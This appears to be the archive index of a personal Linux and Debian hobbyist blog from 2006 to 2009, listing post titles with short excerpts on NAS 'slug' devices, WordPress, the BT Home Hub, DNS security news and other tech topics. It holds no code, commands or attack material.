It would appear that I may have been unnecessarily concerned about the accuracy of the profiling data held on me by the commercial sites I use. In my inbox today I found the following email from Amazon: “As a valued Amazon.co.uk customer, we thought you might be interested in visiting our website dedicated to shoes …
October 18 :- logrotate weirdness in debian etch
I have two VPSs, both running debian. One runs lenny, the other runs etch. The older etch install runs fine, and is much as the supplier delivered it. Until now I have not had cause to consider the need to upgrade the etch install to lenny because it “just worked”. But today I noticed for …
October 15 :- where has my money gone
Like most ‘net users I know these days, I conduct most of my financial transactions on-line. But on-line banking is a high risk activity, particularly if you use the “default” OS and browser combination to be found on most PCs. I don’t, but that doesn’t make me invulnerable, just a slightly harder target. So attempts …
October 3 :- debian on a DNS-313
I bought another new toy last week – a D-Link DNS 313 NAS. Actually, this was a mistake because what I really wanted was the DNS-323. I just wasn’t careful enough at the time. Quite apart from having space for two 3.5″ SATA hard drives instead of just one, the 323 is a very different …
October 3 :- debonaras demise?
Sadly it seems that the debonaras wiki is no more. Rod Whitby had done some excellent work in pulling together a site which consolidated useful information about low cost network storage devices (alternatives to the slug) which could be made to run Debian. Unfortunately the site was a continual target for wiki spam bots and …
September 28 :- abigail’s party
In today’s Guardian, Charlie Brooker ranted rather eloquently about how much he hated smug Apple fans. Or did he? Actually he made full on broadside swipes at both Apple and Microsoft’s approach to product marketing. One side is too slick and irritating, the other is way too uncool and irritating. But most of his ranting …
September 20 :- wordpress security
At about the time I decided to move trivia to my own VPS, there was a lot of fuss about a new worm which was reportedly exploiting a vulnerability in all versions <= 2.8.3. Even the Grauniad carried some (rather inaccurate) breathless reporting about how the wordpress world was about to end and maybe we …
September 12 :- wordpress on lighttpd
I have commented in the past how I prefer lighttpd to apache, particularly on low powered machines such as the slug. I used to be a big apache fan, in fact I think I first used it at version 1.3.0 or maybe 1.3.1, having migrated from NCSA 1.5.1 (and before that Cern 3.0) back in …
September 9 :- are you human enough
In the course of moving trivia to its new home, I necessarily reviewed and edited a bunch of links. This meant I revisited some old friends – including Chris Samuel’s blog where I discovered this gem. As Chris says, you’ve got to love the captcha.
September 9 :- we’ve moved
As I mentioned in the last post. I decided to move trivia from its old home on a shared hosting platform to my own VPS at bytemark. I also mentioned that this was proving trickier than it should – for no real good reason. However, the move is now complete and the blog is now …
August 26 :- wordpress woes
As is common with many blogs, my public ramblings on this site are made possible through the ease of use and flexibility of the mysql/php based software known as wordpress.. And again, as is common to much php/mysql based software, that package has vulnerabilities – sometimes serious, remotely exploitable vulnerabilities. When vulnerabilities are made public, …
August 2 :- zf05
I really missed the old phrack magazine. Some of the “loopback” entries in particular are superb examples of technical nous, complete irreverance and deadpan humour. One of my favourites (from phrack 55) appears in my blogroll under “network (in)security”. I am particularly fond of the observation that details of how to exploit old vulnerabilities are …
August 2 :- dns failure – a cautionary tale
I recently moved one of my domains between two registrars. It seemed like a good idea at the time, but on reflection it was both foolish and unnecessary. Unnecessary because my main requirement for moving it (greater control of my DNS records for that domain) could have been met simply by my redelegating the NS …
July 12 :- zebu update
Well google was clearly the fastest at indexing my blog. It only took a day for my nonsense phrase to appear as number one on their index. Since then, the phrase has appeared in ask, bing, clusty and yahoo, but still not in cuil, despite being visited by their robot on 29 June. Obvious (and …
July 5 :- aspire one bios updates
This post is partly for my own benefit. It records some of the most useful references to bios updates for the AAO. My own AAO is actually running a fairly early bios (3114) and deliberately so. I upgraded to 3309 in (yet another futile) attempt to get sony memory sticks to work but found that …
July 5 :- tor on a vps
I value my privacy – and I dislike the increasing tendency of every commercial website under the sun to attempt to track and/or profile me. Yes, I know all the arguments in favour of advertising, and well targeted advertising at that, but I get tired of the Amazon style approach which assumes that just because …
June 28 :- wild xenomanic yiddish zebu
This post is an experiment. I have noticed from my logs that several different search engines index this blog. Ironically, the indexing has sometimes given me a little trouble when I have been searching for topics of interest to me (such as fixing the sony memory stick problem on my AAO) and my search returns …
May 12 :- jaunty netbook remix DVD iso
My daughter saw my netbook the other day and decided that she wanted UNR on her Tosh laptop to replace the 8.04 hardy I had installed for her (no-one in my family is allowed a proprietary OS – this occasionally causes some friction). Anyway, the old Tosh she uses (which has seen various distros during …
April 12 :- acer aspire one – a netbook experience
I mentioned in an earlier post that I had recently acquired an Acer Aspire One (AAO) netbook. I chose the AAO in preference to any other of the netbooks on the market for two reasons – firstly it looks a lot cooler than most of the competition (particularly in blue – see below), but secondly, …
March 29 :- bad science and worse
I’m a big fan of Ben Goldacre’s “bad science” column in the Guardian. He is particularly scathing about quackery and spurious medical science. His views of “Dr” Gillian McKeith in particular are well worth reading. Whilst I was reading one of his columns recently, I was reminded of another “Dr” who seems to get away …
March 29 :- the strong blue light
The 1TB Toshiba disk I bought a couple of weeks ago to upgrade storage on the slug has one big drawback in my view. Whilst the disk itself is fine, Toshiba have made the mistake of sticking a very intense blue LED on the front panel, presumably because they think it looks “cool”. Well it …
March 16 :- so what is a netbook?
Having just invested in an Acer Aspire One (which I’ll write about later), I also enjoyed this FAQ from el Reg. Nice chart.
March 16 :- a thirteen amp plug just won’t cut it
I normally read the register for its IT tech related reporting – and I enjoy it just because it is a wonderfully scurrilous rag. However, an article about the Swedish supercar maker Koenigsegg’s “Quant”, which el Reg chose to call “Mary”, piqued my interest somewhat. I can’t quite make the arithmetic work out. To quote …
March 1 :- upgrading the slug – a lesson in addresses
My ever growing DVD collection has been taking its toll on my disk storage. Despite the fact that ripping a DVD to PSP format typically shrinks it to between 300 and 500 MB, that still means that I have over 300 GB of videos on my PC. Add to that the OGG vorbis audio collection …
February 13 :- party like it’s 1234567890
Unix geeks the world over today celebrate the passing of unix time = 1234567890 at 23:31:30 GMT on friday the 13th of February 2009. Personally I’ll be asleep.

2008 (31)

December 28 :- are we lost yet
I bought my wife a car SatNav system for christmas. She complained about the voice. I can’t understand why. (My thanks again to xkcd.)
December 27 :- small doesn’t have to mean slow
Much as I love my slugs (and low power consumption coupled with almost completely silent running means I love them a lot) I do sometimes need just a little more “grunt” than they offer. I have been running a PHP based webserver together with postfix on an old (actually very old) Compaq Armada 4160T (that’s …
December 27 :- egroupware mail with dovecot and postfix
I have recently built an egroupware system to be used as a social networking site. The application suite itself is relatively easy to install and configure, but the webmail system it offers (a fork of squirrelmail called felamimail) is rather poorly documented. It took me some time to figure out how to authenticate mail users …
December 24 :- and yet more DNS lunacy
A company called Unified Root is offering to register new top level domains in advance of the proposed ICANN changes. The company describes itself in the following terms: “UnifiedRoot (Unified Root) is an independent, privately owned company, based in Amsterdam, which makes corporate and public top-level domains (TLDs) available worldwide. Through our own efforts and …
December 24 :- more DNS silliness
I came across an interesting post on Avert labs site recently. That post pointed to an earlier SANS posting, which in turn, referenced a Symantec discussion of a new Trojan called Trojan.Flush.M. This trojan is an interesting variant of a class of trojans which hijack local DNS settings to force the compromised machine to use …
September 25 :- gun, foot, shoot
As a chartered member of the British Computer Society (BCS) I recently received through the post my voting forms for the 2008 AGM. The process gives me the option of voting electronically using a website run by Electoral Reform Services. My security codes (two separate numeric IDs, one of six characters, the other of four) …
September 12 :- webanalytics – just say no
I have just built myself a new intel core 2 duo based machine to replace one of my older machines which was beginning to struggle under the load of video transcoding I was placing upon it. The new machine is based on an E8400 and is nice and shiny and fast. Because it is a …
September 12 :- french slugs?
In an earlier post I speculated that the CherryPal PC might be a possible option for users considering replacements for the slug. But that device has still yet to hit the streets and is beginning to look suspiciously like vapourware. However, linuxdevices, the site devoted to linux on embedded devices, wrote about the interesting looking …
September 8 :- chrome *can* get rusty
Amidst all the hype and hullabaloo about Google’s chrome, el reg tells it like it is. Yes, “it’s a f***ing web browser”. You just have to love the reg.
August 20 :- where did my bandwidth go
Have you ever wondered what was eating your network? Would you like to be able to check exactly which application was responsible for that sudden spike in outbound traffic? NetHogs might help. This neat little utility calls itself a “small ‘net top’ tool”, and that is exactly what it is. NetHogs groups bandwidth usage by …
August 10 :- trusting DNS
Dan Kaminsky has (quite rightly) been hitting the press a lot in the weeks since 8 July when he announced the work done to fix a flaw he had discovered in DNS. The vulnerability itself was new, but its impact (cache poisoning) was not. Indeed, we’ve known about the dangers of poisoned DNS caches for …
July 26 :- replacement for the slug
I noted in an earlier post that Linksys were ceasing production of the NSLU2. There are now a variety of NAS systems coming onto the market which might make good replacements – but most of them look expensive when compared to the slug. However I’ve just seen a review of a box which looks as …
July 22 :- implementing mailman and postfix with lighttpd on debian
I recently needed to set up a mailing list for a group of friends (my bike club). I had become tired of mail bounces and failures because we were all relying on an out of date list of addresses originally cobbled together by one member. That list of addresses was routinely used in “reply all” …
July 16 :- ooops
An apt-get dist-upgrade (to bring the kernel up to date and install some new patches) on the slugs killed the webcam. Of course I should have remembered that the gspca module was built against the old kernel and might fail. One quick “m-a auto-install gspca” later and all is working again. Of course the kernel …
July 9 :- slugs are history
Jim Buzbee, of batbox fame and one of the original NSLU2 hackers, apparently gave a presentation about the history of slug hacking at the Boulder Linux Users Group. A PDF copy of his presentation can be found on his batbox.org site. Jim also notes that Linkys are ending production of the NSLU2 after four years …
July 2 :- mine’s longer than yours
You could regard this as another pointless entry to go alongside the webcam. But hey – so what. I had cause to check the uptime on my slugs a little while ago now that they are largely stable and providing the services I want. After doing so I thought it would be good to be …
June 20 :- backtrack 3 released
Any half decent sysadmin will routinely test the security of his or her own systems. A good, and sensible, sysadmin will follow up those tests with an independent security audit by a professional company – preferably one which is a member of a recognised industry body (such as CREST). Finding the holes in your security …
June 19 :- dental dos
On Tuesday 17 June, Craig Wright, supposedly “Manager of Risk Advisory Services” in an Australian Company called “BDO Kendalls”, posted a rather odd note to Bugtraq and a few other security related lists titled “Hacking Coffee Makers”. In that posting he said that the Jura F90 Coffee maker (which can apparently be networked) was vulnerable …
June 5 :- xkcd on the openssl fiasco
I’ve had my attention drawn to Randall Munroe’s take on the openssl coding change problem. Beautiful.
June 2 :- debian and the openssl flaw
Ben Laurie wrote about the Debian SSL problem a couple of weeks ago. That particular post has attracted a huge response which is well worth reading if you care about free open source software and/or privacy/security issues (or even if you don’t). The key point to take from the discussion is that about two years …
June 2 :- recursion: see recursion
I have written about how I use one of my slugs to backup my internal files via rsync over ssh. Well it turns out I made a pretty silly mistake in my rsync options. I thought I’d been careful in specifying the files I specifically wanted excluded from the backup (ephemeral stuff, thumbnail images, some …
May 26 :- linuxdoc.org hijacked
Sadly it appears that the once useful linuxdoc.org website has been hijacked by one of those awful domain squatters who seem to want to sell mortgages, holidays and houses. I tried today to check out an old “howto” I had bookmarked and was greeted by a completely new site – as below: At first I …
May 16 :- what it is to be popular
According to some dubious stats from a web company, this site now ranks at number 4,880,077 (on a scale of usage where Yahoo, Google and YouTube are apparently first second and third). But I shouldn’t really complain. The same stats say that the position is “up 16,958,547 ranks over the last three months”. Now that …
May 5 :- slugs aren’t really slow
A recent email exchange with the friend who originally suggested that I take a look at the NSLU2 got me thinking about the machines we currently take for granted. In his email he outlined that he had consolidated a set of services previously run on a couple of old desktops (a Dell and a Shuttle) …
May 4 :- a problem slug
I bought myself another slug recently so that I could have one dedicated to internal work and the other used for public facing webs. I wasn’t really comfortable with having my network backup and apt-get mirror on the same beast as a public web. I know from experience that public facing systems are vulnerable and …
April 7 :- slugs as pets
Following a recommendation from a friend of mine, I have recently been playing with a Linksys NSLU2. This device is no larger than a paperback book yet packs some remarkable capabilities. It was originally designed by Linksys (Cisco) to act as a “Network Storage Link for USB 2.0 Disk Drives” (hence NSLU2). Externally, the rear …
April 6 :- google oddness
A google search for “loadlin” produces a sponsored link for “Inflatable lilos”. Strangely no references to insects or food however.
March 1 :- ssh through http proxy
On a mail list I subscribe to I have recently been involved in a discussion about the restrictions sometimes placed on users of WiFi hotspots or hotel networks (to say nothing of the restrictions placed on corporate networks). Some of the suggested solutions involve tunnelling ssh connections over http(s). Other solutions assume that the network …
January 19 :- another vulnerability in the home hub
The guys at gnucitizen have posted details of another vulnerability in the BT home hub (and related Thomson routers). This vulnerability allows a remote attacker to reconfigure the router using the UPnP functionality which is turned on by default. UPnP is an authenticationless protocol designed to allow local devices to reconfigure the router – typically …
January 13 :- psp hardware and software specs
I have just stumbled upon a very good resource listing specifications of the hardware and software revisions for the PSP. I would have found this site most useful when I was researching how to format video for the psp last year. The site is at www.edepot.com/reviews_sony_psp.html
January 6 :- ain’t standards wonderful
I’ve just changed my mobile phone for the first time in nearly three years. I know this makes me unusual, particularly as I am normally a gadget lover, but to me a phone is primarily intended to be communication device. I don’t really need it to be a camera, or a music player, or a …

2007 (13)

December 31 :- the war against hair gel
David Malki ! is an interesting character who creates some wonderful cartoons from images drawn from his collection of 19th-century books and periodicals and from other early rare books held at the Los Angeles Central Library. He publishes a collection of his cartoons at wondermark. I recommend that you spend some time flipping through his …
December 30 :- reflashing the BT home hub from a linux PC
As I mentioned in an earlier post, I found several references to successful reflashes of the BT hub to a genuine Thomson 7G image on a variety of sites. None of those sites gave instructions as to how to do this if you run a linux PC. So I have documented how I did it …
December 15 :- homehubblog goes off-line
Some of my earlier posts have referred to the “homehubblog”. The author of that blog seems to have had his domain name stolen from under his feet. The address given now links to an estate agent site. I know that there are robots out there just waiting to pounce on domains which come up for …
December 15 :- leaving BT Broadband
My contract with BT has now expired and I am shortly to move my ADSL connection to one of the Entanet resellers (TitanADSL). All the Entanet resellers I have read about get good reviews. I picked TitanADSL because they offer additional webspace and mySQL databases on top of their broadband service. With luck my IP …
November 30 :- if Microsoft made the iPhone
I’m sorry. I know I really shouldn’t do this, but I loved this so much I watched it three times in succession. It’s vicious, it really is. And best of all, it was apparently made on a Mac.
November 25 :- more on the BT home hub
I last wrote about the BT Home Hub (HH) nearly a year ago. Looking back, I spent an unreasonable amount of time trying to get BT “support” to even bother to read, let alone understand, my problems. Eventually I gave up in disgust. Here I was fortunate because I had substituted a genuine Thomson ST780 …
November 25 :- update to ripping DVDs to a sony psp on linux
Since writing the entry below, I have discovered a much simpler way of ripping and transcoding DVDs – k9copy. I really should have noticed this earlier because I investigated k9copy when I was playing with dvd::rip and winFF as GUI tools for ripping. I had (stupidly) assumed that k9copy could only copy a DVD to …
November 4 :- ripping DVDs to a sony psp on linux
I spend a lot of time on trains – I mean a /lot/ of time. My daily commute amounts to around 6 hours in total each day. Of that, at least 4 hours is spent sitting on a train avoiding listening to the cacophony of irritating chunterers and morons on mobiles. The worst period is …
February 8 :- update on the Reg about BT and the GPL
I knew this one would run….. The Register notes that BT believe they have done enough to comply with the GPL by publishing the code here. But the Free Software Foundation remains unconvinced. In my view BT should respond more positively and work with the foundation to meet the requirements of the GPL. We’ll see.
January 22 :- BT home hub and the GPL
I mentioned the Home Hub Blog in an earlier post. That author of that blog (amongst others) has been trying to find a way to unlock the Hub so that it can be used on ISPs other than BT itself. Unfortunately, BT seems to have tied the beast down (and ties it further with each …
January 17 :- another update to correspondence with a corporation
Since my last post at the end of last year I have been testing my ST780 with a variety of alternative VOIP providers whilst at the same time trying to get BT to sort out my connection. I also lodged a formal complaint about the appalling level of technical support with the BT complaints department …
January 4 :- vinyl to digital
Recently you may have seen adverts in a wide variety of publications for a USB turntable. This product is aimed at people (like me) who have a collection of old vinyl recordings but no longer have the means to play them as they have moved to CD and/or digital recordings. Most of the turntables I …
January 2 :- BT home hub
In my searches for more information about the BT Home Hub and its configuration I have come across a couple of good sites. The Home Hub Blog is an interesting collection of notes about the author’s attempts to unlock the Hub so that it can be used on other ISP’s networks. This is the reverse …

2006 (5)

December 31 :- update to correspondence with a corporation
BT support finally called me back again today (two days late, but hey) and again attempted to transfer me immediately to the Broadband Talk support department. Before I allowed them to do so, however, I made certain that the person I was talking to fully understood my problem. I believe she did. But she confirmed …
December 30 :- DMT for linux
I have just found a rather nice tool for querying my Thomson DSL modem. It is rewrite of a tool originally written for windows by A. Matthoefer. The author of the linux version is Timo Boettcher. The tool compiled cleanly and worked first time with my ST780WL. It should work equally well with the BT …
December 29 :- correspondence with a corporation
Recently I have been experiencing a small problem with my BT broadband connection. I should point out that in general my experience wth BT’s broadband offering is very good. Whilst not the cheapest around, the quality and reliability of the connection are better than I have heard reported from friends and colleagues with other ISPs. …
December 26 :- Mike Harrison
I admire the offbeat, the unusual, and the plain weird. I came across Mike Harrison’s site when I was looking for information about Tesla Coils. It is well worth a visit – I mean the man collects thermionic valves such as this: A bit bigger than a transistor
December 24 :- first post
I am not a great fan of blogs. Before blogging became popular, people who wrote diaries used to do it in private and wash their hands afterwards (to misquote Heinlein). But occasionally I have found a blog which has been useful to me. Typically such blogs have been single topic or specialist sites devoted to …

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